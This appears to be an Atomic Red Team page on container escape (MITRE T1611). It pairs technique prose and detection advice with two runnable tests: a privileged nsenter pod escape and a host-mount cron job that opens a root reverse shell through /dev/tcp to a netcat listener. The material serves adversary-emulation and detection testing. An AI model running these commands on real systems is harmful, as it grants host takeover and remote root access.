T1611 - Escape to Host#
Adversaries may break out of a container to gain access to the underlying host. This can allow an adversary access to other containerized resources from the host level or to the host itself. In principle, containerized resources should provide a clear separation of application functionality and be isolated from the host environment.(Citation: Docker Overview)
There are multiple ways an adversary may escape to a host environment. Examples include creating a container configured to mount the host’s filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host; utilizing a privileged container to run commands or load a malicious kernel module on the underlying host; or abusing system calls such as unshare
and keyctl
to escalate privileges and steal secrets.(Citation: Docker Bind Mounts)(Citation: Trend Micro Privileged Container)(Citation: Intezer Doki July 20)(Citation: Container Escape)(Citation: Crowdstrike Kubernetes Container Escape)(Citation: Keyctl-unmask)
Additionally, an adversary may be able to exploit a compromised container with a mounted container management socket, such as docker.sock
, to break out of the container via a Container Administration Command.(Citation: Container Escape) Adversaries may also escape via Exploitation for Privilege Escalation, such as exploiting vulnerabilities in global symbolic links in order to access the root directory of a host machine.(Citation: Windows Server Containers Are Open)
Gaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, or setting up a command and control channel on the host.
Atomic Tests#
Atomic Test #1 - Deploy container using nsenter container escape#
In this escape kubectl
is used to launch a new pod, with a container that has the host pids mapped into the container (hostPID:true
). It uses the alpine linux container image. It runs with privilege on the host (privileged:true
). When the container is launched the command nsenter --mount=/proc/1/ns/mnt -- /bin/bash
is ran. Since the host processes have been mapped into the container, the container enters the host namespace, escaping the container.
Additional Details:
Supported Platforms: containers
Dependencies: Run with sh
!#
Description: Verify docker is installed.#
Check Prereq Commands:#
which docker
Get Prereq Commands:#
if [ "" == "`which docker`" ]; then echo "Docker Not Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install docker ; elif [ -n "`which yum`" ]; then sudo yum -y install docker ; fi ; else echo "Docker installed"; fi
Description: Verify docker service is running.#
Check Prereq Commands:#
sudo systemctl status docker
Get Prereq Commands:#
sudo systemctl start docker
Description: Verify kind is in the path.#
Check Prereq Commands:#
which kind
Get Prereq Commands:#
curl -Lo ./kind https://kind.sigs.k8s.io/dl/v0.10.0/kind-linux-amd64
chmod +x ./kind
mv kind /usr/bin/kind
Description: Verify kind-atomic-cluster is created#
Check Prereq Commands:#
sudo kind get clusters
Get Prereq Commands:#
sudo kind create cluster --name atomic-cluster
Description: Verify kubectl is in path#
Check Prereq Commands:#
which kubectl
Get Prereq Commands:#
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
chmod +x ./kubectl
mv kubectl /usr/bin/kubectl
Invoke-AtomicTest T1611 -TestNumbers 1 -GetPreReqs
Attack Commands: Run with sh
#
kubectl --context kind-atomic-cluster run atomic-nsenter-escape-pod --restart=Never -ti --rm --image alpine --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"securityContext":{"privileged":true}}]}}'
Invoke-AtomicTest T1611 -TestNumbers 1
Cleanup:#
kubectl --context kind-atomic-cluster delete pod atomic-escape-pod
Invoke-AtomicTest T1611 -TestNumbers 1 -Cleanup
Atomic Test #2 - Mount host filesystem to escape privileged Docker container#
This technique abuses privileged Docker containers to mount the host’s filesystem and then create a cron job to launch a reverse shell as the host’s superuser. The container running the test needs be privileged. It may take up to a minute for this to run due to how often crond triggers a job. Dev note: the echo to create cron_filename is broken up to prevent localized execution of hostname and id by Powershell.
Supported Platforms: containers
Elevation Required (e.g. root or admin)
Dependencies: Run with sh
!#
Description: Verify mount is installed.#
Check Prereq Commands:#
which mount
Get Prereq Commands:#
if [ "" == "`which mount`" ]; then echo "mount Not Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install mount ; elif [ -n "`which yum`" ]; then sudo yum -y install mount ; fi ; else echo "mount installed"; fi
Description: Verify container is privileged.#
Check Prereq Commands:#
capsh --print | grep cap_sys_admin
Get Prereq Commands:#
if [ "`capsh --print | grep cap_sys_admin`" == "" ]; then echo "Container not privileged. Re-start container in insecure state. Docker: run with --privileged flag. Kubectl, add securityContext: privileged: true"; fi
Description: Verify mount device (/dev/dm-0) exists.#
Check Prereq Commands:#
ls /dev/dm-0
Get Prereq Commands:#
if [ ! -f /dev/dm-0 ]; then echo "Container not privileged or wrong device path. Re-start container in insecure state. Docker: run with --privileged flag. Kubectl, add securityContext: privileged: true"; fi
Description: Netcat is installed.#
Check Prereq Commands:#
which netcat
Get Prereq Commands:#
if [ "" == "`which netcat`" ]; then echo "netcat Not Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install netcat ; elif [ -n "`which yum`" ]; then sudo yum -y install netcat ; fi
Description: IP Address is known.#
Check Prereq Commands:#
if [ "`ifconfig eth0 | grep inet | awk '{print $2}'`" != "" ]; then echo "Listen address set as `ifconfig eth0 | grep inet | awk '{print $2}'`" ; fi
Get Prereq Commands:#
if [ "" == "`which ifconfig`" ]; then echo "ifconfig Not Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install net=tools ; elif [ -n "`which yum`" ]; then sudo yum -y install net-tools ; fi
Invoke-AtomicTest T1611 -TestNumbers 2 -GetPreReqs
Attack Commands: Run with sh
#
if [ ! -d /mnt/T1611.002 ]; then mkdir /mnt/T1611.002 ; mount /dev/dm-0 /mnt/T1611.002; fi
echo -n "* * * * * root /bin/bash -c '/bin/bash -c echo \"\"; echo \"hello from host! " > /mnt/T1611.002/etc/cron.d/T1611_002
echo -n "$" >> /mnt/T1611.002/etc/cron.d/T1611_002
echo -n "(hostname) " >> /mnt/T1611.002/etc/cron.d/T1611_002
echo -n "$" >> /mnt/T1611.002/etc/cron.d/T1611_002
echo "(id)\" >& /dev/tcp/`ifconfig eth0 | grep inet | awk '{print $2}'`/4444 0>&1'" >> /mnt/T1611.002/etc/cron.d/T1611_002
netcat -l -p 4444 2>&1
Invoke-AtomicTest T1611 -TestNumbers 2
Cleanup:#
rm /mnt/T1611.002/etc/cron.d/T1611_002
umount /mnt/T1611.002
rmdir /mnt/T1611.002
Invoke-AtomicTest T1611 -TestNumbers 2 -Cleanup
Detection#
Monitor for the deployment of suspicious or unknown container images and pods in your environment, particularly containers running as root. Additionally, monitor for unexpected usage of syscalls such as mount
(as well as resulting process activity) that may indicate an attempt to escape from a privileged container to host. In Kubernetes, monitor for cluster-level events associated with changing containers’ volume configurations.